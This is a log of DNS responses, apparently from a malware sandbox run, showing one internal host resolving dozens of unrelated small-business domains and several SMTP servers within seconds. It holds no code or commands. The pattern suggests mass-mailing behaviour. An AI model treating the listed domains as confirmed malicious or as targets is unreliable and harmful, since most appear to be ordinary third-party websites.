May 31, 2023 14:51:42.796525002 CEST	8.8.8.8	192.168.2.3	0xf8c6	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.019614935 CEST	8.8.8.8	192.168.2.3	0x77aa	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.019614935 CEST	8.8.8.8	192.168.2.3	0x77aa	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.019614935 CEST	8.8.8.8	192.168.2.3	0x77aa	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.019614935 CEST	8.8.8.8	192.168.2.3	0x77aa	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.515065908 CEST	8.8.8.8	192.168.2.3	0xb045	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.716730118 CEST	8.8.8.8	192.168.2.3	0xef4c	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.716730118 CEST	8.8.8.8	192.168.2.3	0xef4c	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.716730118 CEST	8.8.8.8	192.168.2.3	0xef4c	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.716730118 CEST	8.8.8.8	192.168.2.3	0xef4c	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.933396101 CEST	8.8.8.8	192.168.2.3	0xb945	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.933396101 CEST	8.8.8.8	192.168.2.3	0xb945	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.083560944 CEST	8.8.8.8	192.168.2.3	0xd1c8	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.115612984 CEST	8.8.8.8	192.168.2.3	0x14cc	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.172449112 CEST	8.8.8.8	192.168.2.3	0xabf9	No error (0)	rkengg.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:44.172449112 CEST	8.8.8.8	192.168.2.3	0xabf9	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:44.172449112 CEST	8.8.8.8	192.168.2.3	0xabf9	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.172449112 CEST	8.8.8.8	192.168.2.3	0xabf9	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.208251953 CEST	8.8.8.8	192.168.2.3	0xa63b	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.244437933 CEST	8.8.8.8	192.168.2.3	0x9ae8	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.349936962 CEST	8.8.8.8	192.168.2.3	0x98e0	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.408653975 CEST	8.8.8.8	192.168.2.3	0x42c	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.415280104 CEST	8.8.8.8	192.168.2.3	0x52b7	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.441308022 CEST	8.8.8.8	192.168.2.3	0x6b54	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.496407986 CEST	8.8.8.8	192.168.2.3	0xc267	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.562088966 CEST	8.8.8.8	192.168.2.3	0x2b69	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.739552021 CEST	8.8.8.8	192.168.2.3	0x3d9e	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.878703117 CEST	8.8.8.8	192.168.2.3	0x6144	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.143871069 CEST	8.8.8.8	192.168.2.3	0xb936	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:45.143871069 CEST	8.8.8.8	192.168.2.3	0xb936	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.312202930 CEST	8.8.8.8	192.168.2.3	0x1bf2	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:45.312202930 CEST	8.8.8.8	192.168.2.3	0x1bf2	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:45.312202930 CEST	8.8.8.8	192.168.2.3	0x1bf2	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:45.312202930 CEST	8.8.8.8	192.168.2.3	0x1bf2	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:45.312202930 CEST	8.8.8.8	192.168.2.3	0x1bf2	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.392143965 CEST	8.8.8.8	192.168.2.3	0x9049	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.933731079 CEST	8.8.8.8	192.168.2.3	0xbd1b	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.109474897 CEST	8.8.8.8	192.168.2.3	0x15bb	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.109474897 CEST	8.8.8.8	192.168.2.3	0x15bb	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.109474897 CEST	8.8.8.8	192.168.2.3	0x15bb	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.109474897 CEST	8.8.8.8	192.168.2.3	0x15bb	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.109474897 CEST	8.8.8.8	192.168.2.3	0x15bb	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.125742912 CEST	8.8.8.8	192.168.2.3	0x703a	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.125742912 CEST	8.8.8.8	192.168.2.3	0x703a	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.161623955 CEST	8.8.8.8	192.168.2.3	0xca56	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.163491011 CEST	8.8.8.8	192.168.2.3	0xf90e	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.163491011 CEST	8.8.8.8	192.168.2.3	0xf90e	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.163491011 CEST	8.8.8.8	192.168.2.3	0xf90e	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.163630962 CEST	8.8.8.8	192.168.2.3	0x22ee	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.180244923 CEST	8.8.8.8	192.168.2.3	0x2815	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.181910992 CEST	8.8.8.8	192.168.2.3	0x232	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.181910992 CEST	8.8.8.8	192.168.2.3	0x232	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.181910992 CEST	8.8.8.8	192.168.2.3	0x232	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.327212095 CEST	8.8.8.8	192.168.2.3	0xb907	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.328459024 CEST	8.8.8.8	192.168.2.3	0xdc48	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.408792973 CEST	8.8.8.8	192.168.2.3	0x6f2f	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.409337044 CEST	8.8.8.8	192.168.2.3	0x2e80	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.660353899 CEST	8.8.8.8	192.168.2.3	0xa8d	No error (0)	mjrcpas.com		47.91.170.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.717247963 CEST	8.8.8.8	192.168.2.3	0x61d	No error (0)	shenhgts.net		199.59.243.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.819365025 CEST	8.8.8.8	192.168.2.3	0x9277	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.923535109 CEST	8.8.8.8	192.168.2.3	0x70f1	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.923535109 CEST	8.8.8.8	192.168.2.3	0x70f1	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:46.923535109 CEST	8.8.8.8	192.168.2.3	0x70f1	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.923535109 CEST	8.8.8.8	192.168.2.3	0x70f1	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.102679968 CEST	8.8.8.8	192.168.2.3	0x1003	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.558832884 CEST	8.8.8.8	192.168.2.3	0x8ddf	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.558832884 CEST	8.8.8.8	192.168.2.3	0x8ddf	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.558832884 CEST	8.8.8.8	192.168.2.3	0x8ddf	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.558832884 CEST	8.8.8.8	192.168.2.3	0x8ddf	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.703507900 CEST	8.8.8.8	192.168.2.3	0x6a3c	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.796518087 CEST	8.8.8.8	192.168.2.3	0x4a0d	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.800699949 CEST	8.8.8.8	192.168.2.3	0xbf95	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.800699949 CEST	8.8.8.8	192.168.2.3	0xbf95	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.821604967 CEST	8.8.8.8	192.168.2.3	0xf600	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.822444916 CEST	8.8.8.8	192.168.2.3	0xba3	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.822777987 CEST	8.8.8.8	192.168.2.3	0x3a44	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.822873116 CEST	8.8.8.8	192.168.2.3	0xd5b9	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.825062990 CEST	8.8.8.8	192.168.2.3	0x711	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.864552021 CEST	8.8.8.8	192.168.2.3	0xce17	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.903784990 CEST	8.8.8.8	192.168.2.3	0x6def	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.915196896 CEST	8.8.8.8	192.168.2.3	0xb8aa	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.915196896 CEST	8.8.8.8	192.168.2.3	0xb8aa	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.937536001 CEST	8.8.8.8	192.168.2.3	0xe952	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.937536001 CEST	8.8.8.8	192.168.2.3	0xe952	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.937536001 CEST	8.8.8.8	192.168.2.3	0xe952	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.937536001 CEST	8.8.8.8	192.168.2.3	0xe952	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.938718081 CEST	8.8.8.8	192.168.2.3	0x8817	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.204783916 CEST	8.8.8.8	192.168.2.3	0xa62e	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.315083981 CEST	8.8.8.8	192.168.2.3	0x9acc	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.315083981 CEST	8.8.8.8	192.168.2.3	0x9acc	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.321321011 CEST	8.8.8.8	192.168.2.3	0xd6e1	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.327536106 CEST	8.8.8.8	192.168.2.3	0xf552	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:48.327536106 CEST	8.8.8.8	192.168.2.3	0xf552	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.327536106 CEST	8.8.8.8	192.168.2.3	0xf552	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.344487906 CEST	8.8.8.8	192.168.2.3	0xcb03	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.351025105 CEST	8.8.8.8	192.168.2.3	0xdc58	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:48.351025105 CEST	8.8.8.8	192.168.2.3	0xdc58	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.418713093 CEST	8.8.8.8	192.168.2.3	0x420a	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.425359011 CEST	8.8.8.8	192.168.2.3	0x7a36	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.427665949 CEST	8.8.8.8	192.168.2.3	0xd5ea	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.427665949 CEST	8.8.8.8	192.168.2.3	0xd5ea	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.435453892 CEST	8.8.8.8	192.168.2.3	0x8b16	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.435453892 CEST	8.8.8.8	192.168.2.3	0x8b16	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.435453892 CEST	8.8.8.8	192.168.2.3	0x8b16	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.435750961 CEST	8.8.8.8	192.168.2.3	0xace0	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.455715895 CEST	8.8.8.8	192.168.2.3	0x56c5	No error (0)	www.petsfan.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:48.455715895 CEST	8.8.8.8	192.168.2.3	0x56c5	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:48.455715895 CEST	8.8.8.8	192.168.2.3	0x56c5	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.455715895 CEST	8.8.8.8	192.168.2.3	0x56c5	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.635936975 CEST	8.8.8.8	192.168.2.3	0x3c78	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.686816931 CEST	8.8.8.8	192.168.2.3	0x956b	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:48.686816931 CEST	8.8.8.8	192.168.2.3	0x956b	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.686816931 CEST	8.8.8.8	192.168.2.3	0x956b	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.991931915 CEST	8.8.8.8	192.168.2.3	0xb907	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.000601053 CEST	8.8.8.8	192.168.2.3	0x564f	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.035049915 CEST	8.8.8.8	192.168.2.3	0xe7fa	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.113147974 CEST	8.8.8.8	192.168.2.3	0xa525	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.144715071 CEST	8.8.8.8	192.168.2.3	0x510b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.199762106 CEST	8.8.8.8	192.168.2.3	0xc32f	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.437401056 CEST	8.8.8.8	192.168.2.3	0xdfce	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.499383926 CEST	8.8.8.8	192.168.2.3	0x9cf6	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.601952076 CEST	8.8.8.8	192.168.2.3	0x4c	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.664073944 CEST	8.8.8.8	192.168.2.3	0xfc22	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.810038090 CEST	8.8.8.8	192.168.2.3	0xcb2d	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.912379980 CEST	8.8.8.8	192.168.2.3	0x1dd6	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:49.912379980 CEST	8.8.8.8	192.168.2.3	0x1dd6	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.004888058 CEST	8.8.8.8	192.168.2.3	0x59b2	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.004888058 CEST	8.8.8.8	192.168.2.3	0x59b2	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.016448021 CEST	8.8.8.8	192.168.2.3	0x2088	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.018903017 CEST	8.8.8.8	192.168.2.3	0xb012	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.023946047 CEST	8.8.8.8	192.168.2.3	0xe79d	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.023946047 CEST	8.8.8.8	192.168.2.3	0xe79d	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.023946047 CEST	8.8.8.8	192.168.2.3	0xe79d	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.045311928 CEST	8.8.8.8	192.168.2.3	0xd2df	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.045311928 CEST	8.8.8.8	192.168.2.3	0xd2df	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.045311928 CEST	8.8.8.8	192.168.2.3	0xd2df	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.140114069 CEST	8.8.8.8	192.168.2.3	0x510b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.240020990 CEST	8.8.8.8	192.168.2.3	0x5657	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.450725079 CEST	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.450725079 CEST	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.450725079 CEST	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.450725079 CEST	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.450725079 CEST	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.628173113 CEST	8.8.8.8	192.168.2.3	0x86a1	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.636221886 CEST	8.8.8.8	192.168.2.3	0xb2ff	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.880994081 CEST	8.8.8.8	192.168.2.3	0xccf2	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.880994081 CEST	8.8.8.8	192.168.2.3	0xccf2	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.892050028 CEST	8.8.8.8	192.168.2.3	0x343a	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.892050028 CEST	8.8.8.8	192.168.2.3	0x343a	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.902307034 CEST	8.8.8.8	192.168.2.3	0x8e67	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.902307034 CEST	8.8.8.8	192.168.2.3	0x8e67	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.931562901 CEST	8.8.8.8	192.168.2.3	0x3d5	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:50.931562901 CEST	8.8.8.8	192.168.2.3	0x3d5	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.030771971 CEST	8.8.8.8	192.168.2.3	0x286d	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.094017029 CEST	8.8.8.8	192.168.2.3	0xfb28	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.094017029 CEST	8.8.8.8	192.168.2.3	0xfb28	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.106499910 CEST	8.8.8.8	192.168.2.3	0x286d	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.133625031 CEST	8.8.8.8	192.168.2.3	0xba10	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.146986008 CEST	8.8.8.8	192.168.2.3	0x572b	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.197355986 CEST	8.8.8.8	192.168.2.3	0xa2f8	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.207812071 CEST	8.8.8.8	192.168.2.3	0x510b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.257616043 CEST	8.8.8.8	192.168.2.3	0x67e5	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.257616043 CEST	8.8.8.8	192.168.2.3	0x67e5	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.257616043 CEST	8.8.8.8	192.168.2.3	0x67e5	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.257616043 CEST	8.8.8.8	192.168.2.3	0x67e5	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.257616043 CEST	8.8.8.8	192.168.2.3	0x67e5	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.288686037 CEST	8.8.8.8	192.168.2.3	0x2f08	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.288686037 CEST	8.8.8.8	192.168.2.3	0x2f08	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.299649954 CEST	8.8.8.8	192.168.2.3	0xa718	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.302000999 CEST	8.8.8.8	192.168.2.3	0xb5b1	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
